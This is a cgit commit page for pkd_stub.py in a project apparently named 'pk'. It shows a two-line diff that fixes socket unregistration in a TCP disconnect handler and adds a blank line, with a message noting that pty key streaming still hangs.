summaryrefslogtreecommitdiff
path: root/pkd_stub.py
diff options
context:
space:
mode:
authorCarson Fleming <cflems@cflems.net>2023-03-28 11:02:03 -0700
committerCarson Fleming <cflems@cflems.net>2023-03-28 11:02:03 -0700
commitff93430c5df52518b8f404e3c0c17bef071cdbdd (patch)
tree2214c42e711026aae8dc1ca115a1f13512b332e1 /pkd_stub.py
parentd4e02f51fe692f8c88adbbc0d7e2bcde9fdc4f82 (diff)
downloadpk-ff93430c5df52518b8f404e3c0c17bef071cdbdd.tar.gz
Fix some transition bugs; pty still hangs trying to pull streaming key
Diffstat (limited to 'pkd_stub.py')
-rw-r--r--pkd_stub.py3
1 files changed, 2 insertions, 1 deletions
diff --git a/pkd_stub.py b/pkd_stub.py
index cac525c..695db77 100644
--- a/pkd_stub.py
+++ b/pkd_stub.py
@@ -283,7 +283,7 @@ def tcp_disconnect(sel, client):
if client not in tcp_clients:
return
- sel.unregister(client['sock'])
+ sel.unregister(client['sock'].sock)
client['sock'].close()
client['alive'] = False
idx = tcp_clients.index(client)
@@ -327,6 +327,7 @@ def tcp_unpty(sel, client, catchup=True, backtrack=0):
def tcp_transport(sel, sock, client):
global tcp_clients, privkey, bits
+
if not client['alive']:
return
try: